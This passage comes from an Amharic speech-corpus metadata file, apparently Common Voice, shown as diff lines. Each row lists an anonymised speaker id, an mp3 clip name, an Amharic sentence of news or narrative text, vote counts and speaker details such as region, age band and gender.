b022e93bafd814de7ff4e26a27f681dd58ab6f03f9aa29461cacdacdc19333d8f13d379ff45a330f71e5cb9f06d4096ea62f08a9daf275d562bf67ec01253087 common_voice_am_37767887.mp3 2d541b41c2e30935993124c893682cebb818ee39f3c9f6a0f12b2f2a02a70da9 በህዝብ ብዛት ከአፍሪካ ኢትዮጵያ ሁለተኛ ስትሆን ፣ በቆዳ ስፋት ደግሞ አስረኛ ናት። 2 0 ጎጃም am
|
| 39 |
+
b022e93bafd814de7ff4e26a27f681dd58ab6f03f9aa29461cacdacdc19333d8f13d379ff45a330f71e5cb9f06d4096ea62f08a9daf275d562bf67ec01253087 common_voice_am_37767888.mp3 180e93b13820d5f33773acb3b944b84100872c1c954cd2e21a10edbff9eae019 እንግዲያውማ ምስክር መሆን ከቻልክ መጥተህ ክሰሰውና እናም ውለታህን ከፍለንህ ሃብታም ትሆናለህ፡፡ 2 0 ጎጃም am
|
| 40 |
+
b022e93bafd814de7ff4e26a27f681dd58ab6f03f9aa29461cacdacdc19333d8f13d379ff45a330f71e5cb9f06d4096ea62f08a9daf275d562bf67ec01253087 common_voice_am_37767889.mp3 0cc5101afd711adfcadf0460286e70160d23766663d09c3f3d6382a20264d75a እነርሱም አዎ አሉት፡፡ 2 0 ጎጃም am
|
| 41 |
+
b022e93bafd814de7ff4e26a27f681dd58ab6f03f9aa29461cacdacdc19333d8f13d379ff45a330f71e5cb9f06d4096ea62f08a9daf275d562bf67ec01253087 common_voice_am_37767890.mp3 36cdee0ab4ae0d4effdfba75e2d033824b1df7a263b2b11e50890949b5f9f884 እርሱም በእጅህ ያለውን ነገር አትልቀቅ ነው ያልሺኝ አላት፡፡ 2 0 ጎጃም am
|
| 42 |
+
b022e93bafd814de7ff4e26a27f681dd58ab6f03f9aa29461cacdacdc19333d8f13d379ff45a330f71e5cb9f06d4096ea62f08a9daf275d562bf67ec01253087 common_voice_am_37767891.mp3 23e6495e092989155308d61366d717560478422579c6ba0c5d4dde8c735e71ed ልክ ኢየሱስ ክርስቶስ እንዳደረገው የመስቀሉን አግዳሚ እንጨት ተሸክሞ ወደ መሰቀያው ስፍራ እንዲወስድ ይገደዳል። 2 0 ጎጃም am
|
| 43 |
+
c46ad1a7d73f8e25cedd0f7a2d348890ab8214151552a54569b6a39b003eef06ff1d5c93d1128db3ff60fea4e71c902da580caef61b6260e35745fb2e206ef06 common_voice_am_37938199.mp3 348a0b332650f28a2d0c6ce9344c42fefab67078f1c8c8380d91f73a6eca3411 ኡጋንዳውያኑ ወደ ኢትዮጵያ የተሰደዱት የምጽዓትን ቀን ሽሽት ነው መባሉን ግን “የተሳሳተ መረጃ” ሲሉ አጣጥለውታል። 6 0 Central,Southern am
|
| 44 |
+
c46ad1a7d73f8e25cedd0f7a2d348890ab8214151552a54569b6a39b003eef06ff1d5c93d1128db3ff60fea4e71c902da580caef61b6260e35745fb2e206ef06 common_voice_am_37938200.mp3 a52c3caaf9fca9f3bfe588cb3b125ea945595dec5064798f35a5c275777f65ca ግብጽ ሱዳንን እንደ አጋር ከምታይባቸው ምክንያቶች አንዱ ከኢትዮጵያ ጋር የምትወዛገብበት የኢትዮጵያ ሕዳሴ ግድብ ጉዳይ ይጠቀሳል። 6 0 Central,Southern am
|
| 45 |
+
c46ad1a7d73f8e25cedd0f7a2d348890ab8214151552a54569b6a39b003eef06ff1d5c93d1128db3ff60fea4e71c902da580caef61b6260e35745fb2e206ef06 common_voice_am_37938201.mp3 7d54757f3a2fbb52d54ddc1f31e394d60127f324db8742874fe8658732e54082 እርሱም ግዴላችሁም ንገሩኝ አላቸው፡፡ 6 0 Central,Southern am
|
| 46 |
+
c46ad1a7d73f8e25cedd0f7a2d348890ab8214151552a54569b6a39b003eef06ff1d5c93d1128db3ff60fea4e71c902da580caef61b6260e35745fb2e206ef06 common_voice_am_37938203.mp3 806de57f52506d8ec564b8861f90894722a737ce39f1fdb39c574c95775d7c6c በተደጋጋሚ እየተጣሰ ነው ካለ በኋላ ከሕግ አግባብ ውጪ የታሰሩ ጋዜጠኞች እንዲፈቱ በመግለጫው ጠይቋል። 6 0 Central,Southern am
|
| 47 |
+
c46ad1a7d73f8e25cedd0f7a2d348890ab8214151552a54569b6a39b003eef06ff1d5c93d1128db3ff60fea4e71c902da580caef61b6260e35745fb2e206ef06 common_voice_am_37938204.mp3 af83196f13a61785fc778ad5ac316135bca215e7dcea884cd629fd8c40c2afc3 ነገር ግን እኔ እንደነገርኳችሁ እንዳትናገሩ፡፡ 6 0 Central,Southern am
|
| 48 |
+
eafa896c53f87a256b482f6770c6587406666af8c3412afa73ade7bef4c0635a00f80c328f1af2e91181fa6bef5798857f4cb8acda9c8cbbf4ee1ec023b2d98c common_voice_am_39991853.mp3 cb51975584a6c854f47b0ed6c6d31cbe13f8c83c47981db2cd5ceac8f074e715 በሩሲያ በስለላ ክስ የታሰረው አሜሪካዊ ጋዜጠኛ ፍርድ ቤት ቀረበ 2 0 am
|
| 49 |
+
eafa896c53f87a256b482f6770c6587406666af8c3412afa73ade7bef4c0635a00f80c328f1af2e91181fa6bef5798857f4cb8acda9c8cbbf4ee1ec023b2d98c common_voice_am_39991861.mp3 ca8d2f76642fad75e080440b307f34dd54f2ad88c2fbd3361507392ac28b6157 የባለፈው ዓመት የለንድን ማራቶን ውድድር አሸናፊዋ ያለምዘርፍ የኋላው ክብሯን ለማስጠበቅ ትሮጣለች። 2 0 am
|
| 50 |
+
eafa896c53f87a256b482f6770c6587406666af8c3412afa73ade7bef4c0635a00f80c328f1af2e91181fa6bef5798857f4cb8acda9c8cbbf4ee1ec023b2d98c common_voice_am_39991871.mp3 8ac96ac65359b6a281bb46eaeee2e2ee62df7b2bdf5f66602136a29489cf3d73 ሞራሌስ ሥልጣን ለቀው ከአገር ተሰደው ነው ያሉት። 2 0 am
|
| 51 |
+
eafa896c53f87a256b482f6770c6587406666af8c3412afa73ade7bef4c0635a00f80c328f1af2e91181fa6bef5798857f4cb8acda9c8cbbf4ee1ec023b2d98c common_voice_am_39991873.mp3 d5e354816246e65ff1d17f40ba109a16b434ea0fbb1115bdc140d82701447a8d ሲፈን ሐሰን በመጀመሪያ የማራቶን ተሳትፎዋ የለንደን ማራቶንን ማሸነፍ ቻለች። 2 0 am
|
| 52 |
+
eafa896c53f87a256b482f6770c6587406666af8c3412afa73ade7bef4c0635a00f80c328f1af2e91181fa6bef5798857f4cb8acda9c8cbbf4ee1ec023b2d98c common_voice_am_39991893.mp3 044ff540c60a55a4813c65243ff4fae097e6a374ff102fe69429822aefc47462 ይህ አሳዛኝ ግጭት ሊቆም ይገባል ብለዋል ፕሬዝዳንቱ። 2 0 am
|
| 53 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399404.mp3 78e01c43987e1bff5ff2df870d8708ca444b7ed91b71d8b37923f8f00b8b96e7 አንድነቷን ለማጠናከር እና የቤተ ክርስቲያን አገልግሎትን ለማስፋፋፋት ለበጎ መጠቀም የሚሉት ተጠቅሰዋል። 2 0 twenties male_masculine am
|
| 54 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399405.mp3 4ddb93ee46e8919995f2590d89ceb087731407c75600ee32cd6569fbdbb76cbb ቃል እንገባልሃለን አሉት፡፡ 2 0 twenties male_masculine am
|
| 55 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399406.mp3 95bf2afb20068a766c7c97844b66fbc515e5b434a4de31ea3f2dc50ec978f1b2 በዛሬው ችሎት ፍርድ ቤት ሲቀርብ ሰማያዊ መስመር ያለበት ሸሚዝ ለብሶና እጆቹን�� በደረቱ ላይ አጣጥፎም ታይቷል። 2 0 twenties male_masculine am
|
| 56 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399407.mp3 8a51e06839c88ca9d555399f39110bf9f958219095126c0a8a3d331eebbd96dd ከዚህ ጉዳይ ጋር የሚነሳው ሌላው ተጓዳኝ ጉዳይ ግን የእናቶች ጭንቅ ነው። 2 0 twenties male_masculine am
|
| 57 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399408.mp3 8d718fecb55e3cf91b04ae2c927a8babbc8f97e82a2e6c10c4cc0358b5eea262 ዳያ አሁን የዩኒቨርስቲ ትምህርቷን ለመጀመር ዋዜማው ላይ ብትሆንም አሁንም በተለያዩ ተግባራት ተጠምዳለች። 2 0 twenties male_masculine am
|
| 58 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399414.mp3 8260b1e409b758908589c33c610e3f100279031306dee651e36c9cba2a1413e7 በእርግጥ ማሸነፍ ይገባቸው ነበር። 2 0 twenties male_masculine am
|
| 59 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399415.mp3 6515e3b9b2574276c98f37d480b95e0a0a17011d2b5cc42d5ba7a639d8ead4e7 የዩክሬን ወታደር ሲቀላ ያሳያል የተባለው ቪዲዮ ፕሬዚዳንት ዜለንስኪን አስቆጣ 2 0 twenties male_masculine am
|
| 60 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399416.mp3 9c9176a6841a47533dc2e87bb173c6aa543a185fe258fd8bb78be744a312c10c የአፍሪካ ኅብረት ኮሚሽን ሊቀ መንበር ሙሳ ፋኪ መሐማት የቀድሞው የናይጄሪያ ፕሬዝዳንት ኦሉሴጉን ኦባሳንጆ ተገኝተዋል 2 0 twenties male_masculine am
|
| 61 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399417.mp3 a307a6863bb25c333762170ba6cb4ec9bdc4904750d3339f431bbf8c5840802f በዘገባው ይህ ሰባኪ በአካባቢው ሦስት መንደሮችን ናዝሬት ቤተልሄም እና ጁዴአ ብሎ ሰይሟል 2 0 twenties male_masculine am
|
| 62 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399418.mp3 a368a69b472d47333b14e96abfa411a093d8955488b91caccf5afe847b864df0 ድምፃዊው ለረዥም ጊዜ ባደረበት ህመም በህክምና ሲረዳ ቆይቷል። 2 0 twenties male_masculine am
|
| 63 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399419.mp3 538b40bf1c10414af6f17d521fbf91b8a5a5f372edbcf3e6883c0425ccbba30d ወዴት እየሄድክ ነው? ምንስ ልታደርግ ነው:: 2 0 twenties male_masculine am
|
| 64 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399420.mp3 6d2699b7ce554cf68e748d7b1f62d66b8b9b28bdd79b0f077267a5f2c65b1476 አስር ተከታታይ ጨዋታዎችን ያላሸነፉት ፎረስቶች በአንፊልድ ሌላ ሽንፈት እንደሚገጥማቸው እርግጥ ነው። 2 0 twenties male_masculine am
|
| 65 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399421.mp3 a6d6814d6da9937ea2e242939a733b8e2de519a319442cc27c157be4bda50b02 ፍርዱ የጸናባቸው በማጭበርበር ክስ ቀርቦባቸው ነው። 2 0 twenties male_masculine am
|
| 66 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399422.mp3 b1a87af1418840fbaf6df48d56963f0428b421808b1f22441a094c4c1295db83 ለዚህም ነው ጸሐፊዋ ኀዘን ባይገድልም ይጎዳል ያለችው። 2 0 twenties male_masculine am
|
| 67 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399423.mp3 88a7f67a74261f4c59d5a4aec5691f39c6d99237e99fe1f58993b940ff92f06a የኢትዮጵያ ብልጽግና እውን ከመሆን አይቀርም የምንለው ጉዞው ቀላል እንደማይሆን በማመን ነው። 2 0 twenties male_masculine am
|
| 68 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399436.mp3 9f5c371447b860417b07d90751e54c4fc5ee1d814b56ef8a9bd262690efeac20 እኛም ለዚህ ስኬት የተቻለንን ለማድረግ ዝግጁ መሆናችንን አረጋግጣለሁ ብለዋል። 2 0 twenties male_masculine am
|
| 69 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399437.mp3 853b8dbac1372ef370d34a92008adb18122450a5a848511b2816c5e8760e0a01 እሷንም አያቱንም ተሸክሞ የማሻገር ኃላፊነት ጫንቃው ላይ ወደቀ። 2 0 twenties male_masculine am
|
| 70 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399438.mp3 5a3747b97f3d77bb77e19c1b37efa07ed7bc1810d568d10b353ca5b0d912d954 በባህሉ መሰረት ስጋ የሚበላው መጨረሻ ላይ ነው፡፡ 2 0 twenties male_masculine am
|
| 71 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399440.mp3 a552cb80ce98c136a139729edb60b64cea60f8dd98c85b29b7a9cff24ee48228 አሁን ግን ሰዎች እርስ በርሳቸው አይስማሙም በራሳቸውም ላይ መዓት ያመጣሉ፡፡ 2 0 twenties male_masculine am
|
| 72 |
+
d565cec0e10b20777304a6c4ede54e3d3f0a1b92c43c3b53a3d746854b6874a36521da0f31e761c534623fd18bc18d80d77b7c9e50da952057a571122b9e282e common_voice_am_38399441.mp3 99657e8ef102729499bcba36e165460df4b9f6cc71597fdf8686a38ea1663b95 የሚሰጠውን ድጋፍ በተመለከተ ከኢትዮጵያ ባለሥልጣናት ጋር የተደረገው ውይይት አዎንታዊ ሂደት የታየበት መሆኑን ገልጾ ነበር። 2 0 twenties male_masculine am
|
| 73 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842332.mp3 a4d4c4367d697660b99709963787c00d42bab0643176bb62540bd2d49c7c4ac1 ሚኒስትር ደመቀ መኮንን የአሜሪካ የአፍሪካ ቀንድ ልዩ መልዕክተኛ ማይክ ሃመር ጋር ተወያይተዋል፡፡ 2 0 thirties male_masculine am
|
| 74 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842334.mp3 aa1a24843abd56bbd7d18c358da692d582889595aa015c61d9870276d264cf2f እርሷም ያንኑ ዓይብ መልሳ አመጣችለት፡፡ 2 0 thirties male_masculine am
|
| 75 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842335.mp3 38bd709871e08e247587a04c6c24568f46a18c7f0cb934c06aaff5fbaa3cbe7f ልጄ ምን ሆና ይሆን የሚለው ጭንቅ በሥራቸው ላይ ሙሉ ትኩረት እንዳያደርጉ እንቅፋት ይሆናል 2 0 thirties male_masculine am
|
| 76 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842336.mp3 a8a96d690ad5cd4717f719182cc35b7b8eec8c58b76fd46cd6f9551a8779cc70 ባልሽ እኔ ወንድ እንደሆንኩ አውቋል፡፡ 2 0 thirties male_masculine am
|
| 77 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842342.mp3 0c1db6670156142138fb5a0a4fcac1378ad3486e1a17881c7c83f4ff5b65f730 መማር እፈልጋለሁ የሚል ነበር። 2 0 thirties male_masculine am
|
| 78 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842343.mp3 9e77da2a5afbd8cc4ffc8b24e4b3c04b13cde55e9dcb31db8e3242eaa48e8428 ግጭቱ ካልተገታ ቁጥሩ ከዚህም ሊጨምር ይችላል። 2 0 thirties male_masculine am
|
| 79 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37842345.mp3 a58524af35ade9dd43d8188d46dc4516dfb380d00715aead9b64a281ad339449 የሱዳን ሕዝብ አሁን ካጋጠመው ሁኔታ ለመውጣት የሚያስችለው ጥበብና ችሎታ ያለው ሕዝብ ነው 2 1 thirties male_masculine am
|
| 80 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888650.mp3 3fbac5dbe727450b6503597f1a83428c631e4a0421f412d18b75e8fb689419ca አስተዋጽኦ ላበረከቱ አካላት እና ግለሰቦች የእውቅና መስጠት ሥነ ሥርዓት አዲስ አበባ ውስጥ በተካሄደ ወቅት ነው። 2 0 thirties male_masculine am
|
| 81 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888651.mp3 a208a6da62b84769c913a1a7d73d7a64d9968d18eaa652977fae22c3c83b188d ከካርቱም በተጨማሪም ፈጥኖ ደራሽ ኃይሉ የወጣባት የዳርፉር ምዕራባዊ ክልልም በጦርነቱ ክፉኛ ተጎድቷል። 2 0 thirties male_masculine am
|
| 82 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888652.mp3 a18fbecb02592b1c3954908ee25b340b42d817e646172c4d539d89a6958f7282 በመንደራቸው የሚገኝ መገናኛ ብዙኃን በዓለም በዕድሜ ትልቋ ሴት ብሏቸዋል። 2 0 thirties male_masculine am
|
| 83 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888654.mp3 aa2b8188c40f6425e1594b36e8833e14580391f7602a5efffa631d6bfc9368e2 ከዓመት በላይ ተለያይተው የነበሩ ቤተሰቦች ለመጀመሪያ ጊዜ መልሰው ለመገናኘት እና ለመነጋገር ችለዋል። 2 0 thirties male_masculine am
|
| 84 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888660.mp3 11e38f5babd3b9ebe877f4f14cfaab76a44ce2b72ab4132bfe1262f9bf390d84 ኬልቪስ ኪፕተም ሁለት ሰዓት ከአንድ ደቂቃ ከሀያ አምስት ሰከንድ በመግባት የዓለም ሁለተኛውን ፈጣን ሰዓት አስመዝግቧል፡፡ 2 0 thirties male_masculine am
|
| 85 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888661.mp3 42288af8e139065f39beaa85c4a3465bb3ca7232dcc537e2b16cd8e56afd5062 መንግሥት ገደቡን እንዲያነሳው ከዚህ ቀደም በመገናኛ ብዙኃን ምክር ቤት መጠየቁንም አስታውሷል። 2 0 thirties male_masculine am
|
| 86 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888662.mp3 1e65542343431d242405e7bcbdb9aad2677bf9b3547a51a19bfa35c33b70afba ከአጋር አገሮች ጋርም በጋራ እየሠራን ነው። 2 0 thirties male_masculine am
|
| 87 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888663.mp3 77f20101f764c3cfe2ac3bf48588e485e31252231ad210e23248c4347c8f86bb ሼፊልድ ወደ ፕሪሚየር ሊጉ ለመመለስ ከጫፍ ደርሷል። 2 0 thirties male_masculine am
|
| 88 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888664.mp3 75a81502d085b886a1a89c226ac055fb6e35951e231e749433c91d88048b9d87 ዙማ ከዚህ ሌላ የማጭበርበርና ሙስና ክስ አለባቸው። 2 0 thirties male_masculine am
|
| 89 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888675.mp3 aa27ceeb73428063d44affb1f7df3b2a58163f025b0aa8effe16785d9a2738cc ነገሮች ሁሉ እንደፈለገው ባይሄዱለትም እንደምንም ያከናውናቸዋል፡፡ 2 0 thirties male_masculine am
|
| 90 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888676.mp3 94fe268e01a107588411a4b59d1d7f462202e5061212346475ee54362ccc566b ግድያውን ፈጽመዋል የተባሉት የፀጥታ ኃይሎች ለፍርድ አልቀረቡም። 2 0 thirties male_masculine am
|
| 91 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888677.mp3 93b3d89f5513c50b65a9eb879d1a66da40497aace6cd6bdb36c2e75bd621208f ሽማግሌውንም ፈላስፋው ሰው አንተ ነህ አንድ ችግር ላማክርህ ነው የመጣሁት፡፡ 2 0 thirties male_masculine am
|
| 92 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888678.mp3 3346790d53760ee4c2e93cbef1d3fc69deac33689772befe54953013ca9132ad የኢትዮጵያ መንግስት እና ህዝብ በበኩሉ የሱዳን ህዝብ የውስጥ ችግሩን በለመደው ጥበባዊ አካሄድ በራሱ እንዲፈታ ይመኛል 2 0 thirties male_masculine am
|
| 93 |
+
da26a9dcadadacfa08446f32997296381746d721dc4e484b93ccc47cb2245ef5e61944eba9e554c70003f335ed8dbaa6155175ee3614c233881708019cfda3c7 common_voice_am_37888679.mp3 2dc6247beee223df6ef8d5f60021462a756eb509d65eadfe3866ba24ddad2b97 የመገናኛ ብዙሃን ምክር ቤት ጋዜጠኞች ከሕግ አግባብ ውጪ እየታሰሩ ነው አለ 2 0 thirties male_masculine am
|
| 94 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586598.mp3 8b736ff87624f70411db94ecb2ee32cf217f89e7bd65fe3b75a5636419151703 ማሳነስ ከሰውነት በታች አርጎ መመልከትን። 2 0 thirties male_masculine am
|
| 95 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586601.mp3 99c88c63f422e0d6831541b713dc8d769e957fdefa2d3dfb60bcc0fa53e3dc16 የታላቁ የኢትዮጵያ ሕዳሴ ግድብ ኢትዮጵያ በስተም��ራብ ከሱዳን ጋር በምትዋሰንበት የቤኒሻንጉል ጉሙዝ ክልል በጉባ ወረዳ ይገኛል። 2 0 thirties male_masculine am
|
| 96 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586603.mp3 89fe34119696573117c33871294da7fccb3a80d4fba4239462070b6fe8629934 የሹማከር ቤተሰቦች በመጽሔቱ ኅትመት የተሰማቸውን ቁጣ ገልጸው ጉዳዩን ወደ ፍርድ ቤት እንደሚወስደው አስታውቋል። 2 0 thirties male_masculine am
|
| 97 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586606.mp3 774115180c191ca05adff3aed083c16e53e50c5fedf55e7be03b27846294a47a እሁድ ግን የጉዟቸው ማብቂያ ይሆናል። 2 0 thirties male_masculine am
|
| 98 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586627.mp3 40ad057f16d31920c9e3d4d5fb8d4c90f044e2ad194256a2d100299e6de7d0e0 የአሜሪካ የውጭ ጉዳይ መሥሪያ ቤት ኃላፊ አንቶኒ ብሊንከን በሱዳን ያለው ሁኔታ አሳሳቢ ነው ብለዋል። 2 0 thirties male_masculine am
|
| 99 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586628.mp3 6fe1e8d2b99b350afbde618342e2bc9490377d0990b7dd59556fc05cd93d1ee1 በሸገር ከተማ ቤቶችን በማፍረሱ ሂደት የጸጥታ ኃይሎች ተመጣጣኝ ያልሆነ የኃይል እርምጃ ወስደዋል ተባለ 2 0 thirties male_masculine am
|
| 100 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586634.mp3 9f88ce135cf25d67973bacb14bfa8c0a2449a8d6df31d435ae16615c1b97081a ግጭት ይቀሰቀሳል ተብሎ ግን አልተጠበቀም። 2 0 thirties male_masculine am
|
| 101 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586635.mp3 038eaac8f1970072e9fc7c03f5776312d74f84b30a2f04e731cc20667c6a2c75 አብራችሁ ተኙ፡፡ 2 0 thirties male_masculine am
|
| 102 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38586636.mp3 0c70183ad77b61f9e17cf96c6209bfe1a84c9f5f0daa3923c9ee66306414f27a በዚያች ቅፅበት ከየት መጣ ሳይባል እባቡ መጥቶ ምስክሩ አንድም ቃል ከመናገሩ በፊት ነደፈው፡፡ 2 0 thirties male_masculine am
|
| 103 |
+
16cb233d25bca4d1717db8e5c02857dc0e215e6f86528d9bd8c4ca5ff29df94e99d45fd0bf6fc3dc53eceaf94c04b668b2a96b4b32319544b1bc1bebec2c1cdb common_voice_am_38629720.mp3 b01ea3fc231209d0c2e30a3b8f8d62a3c4e2c56df4882a4855a0daf77c6030e3 የቤት እመቤትነት ዘመን እያበቃ ይመስላል። 2 0 thirties male_masculine am
|
| 104 |
+
